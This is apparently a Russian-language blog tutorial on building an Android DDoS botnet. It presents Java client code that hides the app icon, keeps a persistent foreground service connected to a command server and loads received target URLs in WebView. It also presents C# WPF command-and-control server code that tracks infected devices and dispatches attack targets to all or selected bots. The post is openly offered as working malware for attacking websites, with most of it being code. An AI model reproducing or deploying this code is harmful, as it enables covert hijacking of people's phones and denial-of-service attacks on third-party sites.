Давно планировал написать эту статью, но времени из-за других моих проектов не было. Сейчас освободился и, наконец, решил написать статью о DDoS Botnet на Android.
Для начала объясню, что такое DDoS Botnet в принципе, хотя не думаю, что это нуждается в объяснении, но в любом случае для статьи это нужно:
DDoS-Botnet — это сеть заражённых устройств, управляемая злоумышленником для проведения распределённых атак типа отказа в обслуживании (DDoS — Distributed Denial of Service).
В такой сети каждый заражённый компьютер (или любое другое устройство, например, смартфон под управлением Android, как в нашем случае) становится частью ботнета и получает команды от сервера, получая адреса целей для атаки.
Мы будем делать не какой-то обычный HTTP Flood, работающий через запросы, а полноценную загрузку веб-ресурса, в нашем случае через WebView. Также я добавлю ещё один метод DDoS исключительно для примера — например, возьму ping, он самый простой в реализации, но и граничит с бесполезным. В любом случае это не важно, так как он будет добавлен как практический пример. В последствии заменить его на другие методы не будет проблемой для вас, если вы будете использовать код из статьи.
- Для написания серверной части я буду использовать C# (.NET 4.8) и WPF разметку (Windows Presentation Foundation).
- Для написания клиентской части буду использовать Java (A) и Groovy DSL (build.gradle) с минимальным API 28 (A9).
Начну с кода Android клиента на Java.
Для начала нам нужно определить разрешения в AndroidManifest.xml:
XML:
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
Также, если вы хотите, чтобы иконка вашего приложения не была видна, добавьте в Activity внутри AndroidManifest.xml следующее:
XML:
<category android:name="android.intent.category.LEANBACK_LAUNCHER" />
Так как в MainActivity.java у нас ничего не будет, кроме запуска нашего FOREGROUND_SERVICE, то его код будет выглядеть так:
Java:
package com.nmz.DDoSBTest;
import android.content.Intent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent serviceIntent = new Intent(MainActivity.this, BackgroundWVService.class); //Запуск нашего сервиса до которого мы еще дойдем
startService(serviceIntent);
}
}
Ничего, кроме запуска сервиса, не происходит, но переходить я бы хотел не сразу к нему, а немного рассказать о том, как будет загружаться наша страница через WebView. Для этого в коде есть WebViewService.java, который имеет задачу загрузить страницу и в ADB отобразить информацию о ней вкратце.
Код WebViewService.java:
Java:
private WebView webView;
@Override
public void onCreate() {
super.onCreate();
webView = new WebView(this);
webView.setWebViewClient(new CustomWebViewClient());
webView.getSettings().setJavaScriptEnabled(true);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
String url = intent.getStringExtra("url");
if (url != null) {
if (!isValidUrl(url)) {
url = "http://" + url;
}
Log.d(TAG, "Loading URL/IP in WebView: " + url);
webView.loadUrl(url);
} else {
Log.e(TAG, "No URL/IP received");
}
return START_NOT_STICKY;
}
@Override
public void onDestroy() {
if (webView != null) {
webView.destroy();
}
super.onDestroy();
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
private boolean isValidUrl(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}
private class CustomWebViewClient extends WebViewClient {
@Override
public void onPageStarted(WebView view, String url, android.graphics.Bitmap favicon) {
super.onPageStarted(view, url, favicon);
Log.d(TAG, "Page loading: " + url);
}
@Override
public void onPageFinished(WebView view, String url) {
super.onPageFinished(view, url);
Log.d(TAG, "Page finished loading: " + url);
String title = view.getTitle();
Log.d(TAG, "Page title: " + title);
}
@Override
public void onReceivedHttpError(WebView view, WebResourceRequest request, android.webkit.WebResourceResponse errorResponse) {
super.onReceivedHttpError(view, request, errorResponse);
Log.e(TAG, "HTTP error for URL/IP: " + request.getUrl() + " Error code: " + errorResponse.getStatusCode());
}
@Override
public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
super.onReceivedError(view, errorCode, description, failingUrl);
Log.e(TAG, "Error loading URL/IP: " + failingUrl + " Error code: " + errorCode + " Description: " + description);
}
}
}
Код загружает веб страницу в WebView и отображает краткое содержимое о ней.
Теперь хотелось бы отметить код AttackerReceiverURLIP.java, который получает IP или URL сайта, затем проверяет его на валидность, и если получает IP без заголовка HTTP/HTPPS , то добавляет его и отправляет дальше в WebViewService.java.
Код AttackerReceiverURLIP.java:
Java:
public class AttackerReceiverURLIP extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String url = intent.getStringExtra("url");
Log.d("UrlReceiver", "Received URL: " + url);
if (url != null) {
// Проверка и добавление префикса например если передан ip ну и проверочка
if (!url.startsWith("http://") && !url.startsWith("https://")) {
url = "https://" + url;
}
if (isValidUrl(url)) {
Intent serviceIntent = new Intent(context, WebViewService.class);
serviceIntent.putExtra("url", url);
context.startService(serviceIntent);
} else {
Log.e("UrlReceiver", "Invalid URL received: " + url);
}
}
}
private boolean isValidUrl(String url) {
return url != null && (url.startsWith("http://") || url.startsWith("https://"));
}
}
Теперь стоит перейти к последнему сервису на стороне клиента — это BackgroundWVService.java, и вот, соответственно, его код:
Java:
private static final String CHANNEL_ID = "DDoSForegroundServiceChannel";
private Handler ReconnectServerHandler = new Handler(Looper.getMainLooper());
private boolean isConnected = false;
private Socket clientSocket;
private BufferedReader input;
private OutputStream output;
@Override
public void onCreate() { //инициализации в onCreate
super.onCreate();
createNotificationChannel();
startForegroundService();
connectToServer();
}
private void createNotificationChannel() { //13,14D требуют подобных извращений.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
CharSequence name = "Foreground Service";
String description = "Channel";
int importance = NotificationManager.IMPORTANCE_DEFAULT;
NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance);
channel.setDescription(description);
NotificationManager notificationManager = getSystemService(NotificationManager.class);
notificationManager.createNotificationChannel(channel);
}
}
private void startForegroundService() {
Intent notificationIntent = new Intent(this, MainActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);
Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
.setContentTitle("Foreground Service")
.setContentText("Service is running in the background")
.setSmallIcon(R.mipmap.ic_launcher)
.setContentIntent(pendingIntent)
.build();
startForeground(1, notification);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return START_STICKY;
}
private void connectToServer() {
new ConnectToServerTask().execute("127.0.0.1", "6666");//ip:p сервера
}
private class ConnectToServerTask extends AsyncTask<String, Void, Boolean> {
private String serverIp;
private int serverPort;
@Override
protected Boolean doInBackground(String... params) {
serverIp = params[0];
serverPort = Integer.parseInt(params[1]);
while (!isConnected) {
try {
clientSocket = new Socket(serverIp, serverPort);
input = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
output = clientSocket.getOutputStream();
isConnected = true;
new ReceiveMessagesTask().start();
} catch (Exception e) {
Log.e("ConnectToServerTask", "Error connecting to server, retrying in 5 seconds", e);
try {
Thread.sleep(5000);
} catch (InterruptedException ie) {
Log.e("ConnectToServerTask", "Interrupted during reconnection delay", ie);
}
}
}
return false;
}
@Override
protected void onPostExecute(Boolean result) {
if (result) {
Toast.makeText(getApplicationContext(), "Connected to the server", Toast.LENGTH_SHORT).show();
} else {
startReconnection();
}
}
}
private void startReconnection() {
ReconnectServerHandler.postDelayed(() -> {
if (!isConnected) {
Log.d("Reconnection", "Attempting to reconnect...");
connectToServer();
}
}, 5000);
}
private class SendMessageTask extends AsyncTask<String, Void, Void> {
private static final int CHUNK_SIZE = 1024;
private static final long DELAY_MS = 500;
@Override
protected Void doInBackground(String... messages) {
try {
if (isConnected && output != null) {
for (String message : messages) {
byte[] messageBytes = message.getBytes();
int length = messageBytes.length;
for (int i = 0; i < length; i += CHUNK_SIZE) {
int end = Math.min(length, i + CHUNK_SIZE);
output.write(messageBytes, i, end - i);
output.flush();
Thread.sleep(DELAY_MS);
}
}
}
} catch (Exception e) {
Log.e("SendMessageTask", "Error sending message", e);
}
return null;
}
}
private class ReceiveMessagesTask extends Thread {
private final Handler uiHandler = new Handler(Looper.getMainLooper());
@Override
public void run() {
try {
while (isConnected) {
String message = input.readLine();
if (message != null) {
if (isValidUrl(message)) {
handleUrl(message);
} else {
uiHandler.post(() -> Toast.makeText(getApplicationContext(), "msg s: " + message, Toast.LENGTH_LONG).show());
}
}
}
} catch (Exception e) {
Log.e("ReceiveMessagesTask", "Connection lost, attempting to reconnect", e);
isConnected = false;
startReconnection();
}
}
}
private void handleUrl(String url) {
//Добавление http чтобы если например человек передал ip то мы перешли по нему как и по ссылке
if (!url.startsWith("http://") && !url.startsWith("https://")) {
url = "https://" + url;
}
Intent intent = new Intent(BackgroundWVService.this, WebViewService.class);
intent.putExtra("url", url);
startService(intent);
}
private boolean isValidUrl(String url) {
try {
Uri uri = Uri.parse(url);
return uri.getScheme() != null && (uri.getScheme().equals("http") || uri.getScheme().equals("https"));
} catch (Exception e) {
return false;
}
}
@Override
public void onDestroy() {
super.onDestroy();
try {
isConnected = false;
if (clientSocket != null) {
clientSocket.close();
}
} catch (Exception e) {
Log.e("onDestroy", "Error closing socket", e);
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
На этом код клиента закончен. Я не стал описывать некоторые и так понятные моменты, как, например, весь код Manifest или отправку конкретных данных на сервер, таких как версия Android или модель устройства, хотя вы можете легко их получить и по желанию отправить на сервер.
Java:
AndroidVersion = "Android Version: " + Build.VERSION.RELEASE;
SDeviceModel = "Device Model: " + Build.MODEL;
Теперь, когда с кодом клиента всё более-менее понятно и что происходит на его стороне, можно приступить к коду сервера. На серверной стороне не будет билдера или каких-то наворотов — исключительно функционал отправки данных на сервер и принятия ответов от клиента.
Код DDoServer:
C#:
public partial class MainWindow : Window
{
private ObservableCollection<ClientInfo> _clients;
private TcpListener _server;
private Thread _serverThread;
private Thread _monitorThread;
private int _serverPort = 4444; //стандартный порт прослушивания
private Dictionary<string, string> _clientMessages;
private volatile bool _isServerRunning;
private ConcurrentDictionary<string, TcpClient> _connectedClients;
public MainWindow()
{
InitializeComponent();
_clients = new ObservableCollection<ClientInfo>(); //Инициализации
clientsview.ItemsSource = _clients;
_clientMessages = new Dictionary<string, string>();
_connectedClients = new ConcurrentDictionary<string, TcpClient>();
}
Обработчик StartServer:
C#:
if (_serverThread != null && _serverThread.IsAlive)
{
MessageBox.Show("Server is already running.");
return;
}
if (!int.TryParse(portTextBox.Text, out _serverPort))
{
MessageBox.Show("Invalid port number. Please enter a valid number.");
return;
}
_serverThread = new Thread(StartServer);
_serverThread.IsBackground = true;
_serverThread.Start();
_monitorThread = new Thread(MonitorClients);
_monitorThread.IsBackground = true;
_monitorThread.Start();
}
Методы / остальное:
C#:
private void StartServer()
{
try
{
_server = new TcpListener(IPAddress.Any, _serverPort);
_server.Start();
_isServerRunning = true;
Dispatcher.Invoke(() => MessageBox.Show($"Server started on port {_serverPort}"));
while (_isServerRunning)
{
if (_server.Pending())
{
TcpClient client = _server.AcceptTcpClient();
IPEndPoint clientEndPoint = client.Client.RemoteEndPoint as IPEndPoint;
if (clientEndPoint != null)
{
string clientIp = clientEndPoint.Address.ToString();
if (_connectedClients.ContainsKey(clientIp))
{
if (_connectedClients.TryRemove(clientIp, out TcpClient oldClient))
{
oldClient.Close();
}
}
if (_connectedClients.TryAdd(clientIp, client))
{
Dispatcher.Invoke(() =>
{
var existingClient = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
if (existingClient == null)
{
_clients.Add(new ClientInfo
{
IPAddress = clientIp,
TcpClient = client
});
}
else
{
existingClient.TcpClient = client;
}
MessageBox.Show($"New client connected: {clientIp}");
});
}
Thread clientThread = new Thread(() => HandleClient(client, clientIp));
clientThread.IsBackground = true;
clientThread.Start();
}
}
else
{
Thread.Sleep(100);
}
}
}
catch (SocketException ex)
{
if (ex.SocketErrorCode != SocketError.Interrupted)
{
Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}"));
}
}
catch (Exception ex)
{
Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}"));
}
}
private void HandleClient(TcpClient client, string clientIp)
{
try
{
NetworkStream stream = client.GetStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0)
{
string message = Encoding.UTF8.GetString(buffer, 0, bytesRead);
lock (_clientMessages)
{
_clientMessages[clientIp] = message;
}
SaveMessageToFile(clientIp, message);
var lines = message.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries);
Dispatcher.Invoke(() =>
{
foreach (var line in lines)
{
if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
{
packetText.Text += line + Environment.NewLine;
}
}
});
}
}
catch (Exception ex)
{
Console.WriteLine($"Client error: {ex.Message}");
}
finally
{
Dispatcher.Invoke(() =>
{
try
{
lock (_clients)
{
var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
if (clientInfo != null)
{
_clients.Remove(clientInfo);
}
}
lock (_clientMessages)
{
if (_clientMessages.ContainsKey(clientIp))
{
_clientMessages.Remove(clientIp);
}
}
if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
{
packetText.Text = string.Empty;
}
}
catch (Exception uiEx)
{
Console.WriteLine($"UI error: {uiEx.Message}");
}
});
try
{
client.Close();
}
catch (Exception ex)
{
Console.WriteLine($"Error closing client connection: {ex.Message}");
}
}
}
private void MonitorClients()
{
while (_isServerRunning)
{
foreach (var kvp in _connectedClients.ToList())
{
string clientIp = kvp.Key;
TcpClient client = kvp.Value;
try
{
if (client.Client.Poll(0, SelectMode.SelectRead))
{
byte[] check = new byte[1];
if (client.Client.Receive(check, SocketFlags.Peek) == 0)
{
Dispatcher.Invoke(() =>
{
var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
if (clientInfo != null)
{
_clients.Remove(clientInfo);
}
lock (_clientMessages)
{
if (_clientMessages.ContainsKey(clientIp))
{
_clientMessages.Remove(clientIp);
}
}
if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
{
packetText.Text = string.Empty;
}
});
_connectedClients.TryRemove(clientIp, out _);
client.Close();
}
}
}
catch (Exception ex)
{
Console.WriteLine($"Error monitoring client {clientIp}: {ex.Message}");
}
}
Thread.Sleep(5000);
}
}
private void StopServer()
{
try
{
_isServerRunning = false;
_server?.Stop();
foreach (var clientInfo in _clients.ToList())
{
if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected)
{
clientInfo.TcpClient.Close();
}
}
_serverThread?.Join();
_monitorThread?.Join();
Dispatcher.Invoke(() => MessageBox.Show("Server stopped successfully."));
}
catch (Exception ex)
{
Dispatcher.Invoke(() => MessageBox.Show($"Error stopping server: {ex.Message}"));
}
}
Ну и под конец — код отправки информации на клиента:
C#:
string link = DDoSTx.Text;
if (!string.IsNullOrWhiteSpace(link))
{
SendMessageToAllClients(link);
}
else
{
MessageBox.Show("Write Link.");
}
---
foreach (var clientInfo in _clients.ToList())
{
if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected)
{
try
{
NetworkStream stream = clientInfo.TcpClient.GetStream();
byte[] buffer = Encoding.UTF8.GetBytes(message + "\n");
stream.Write(buffer, 0, buffer.Length);
stream.Flush();
Также добавил код, который отправляет задачу на одного выбранного клиента из спискаIP:
C#:
if (clientsview.SelectedItem is ClientInfo selectedClient)
{
string clientIp = selectedClient.IPAddress;
if (_clientMessages.ContainsKey(clientIp))
{
string link = DDoSTx.Text;
if (!string.IsNullOrWhiteSpace(link))
{
SendLinkToClient(clientIp, link);
}
else
{
MessageBox.Show("Write Link/Ip.");
}
}
else
{
MessageBox.Show("Client not found.");
}
}
else
{
MessageBox.Show("Select a client from the list of IP.");
}
}
И метод для этого дела:
C#:
private void clientsview_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (clientsview.SelectedItem is ClientInfo selectedClient)
{
if (_clientMessages.ContainsKey(selectedClient.IPAddress))
{
packetText.Text = _clientMessages[selectedClient.IPAddress];
}
}
}
GUI панели сервера, написанной на WPF (Windows Presentation Foundation) (более новая версия, чем описана в статье), включает в себя разметку и дизайн, которые не были описаны в статье.
В статье был представлен исключительно код без разметки и дизайна.
Хочу подметить, что использовать такое можно только для веб-ресурсов в связи с логикой работы через WebView, но вы можете добавить свой код для других нужных вам методов атак.
Благодарю за внимание!Если есть какие-то вопросы или дополнения, буду рад обсудить.
Всех благ
.
Leave a Reply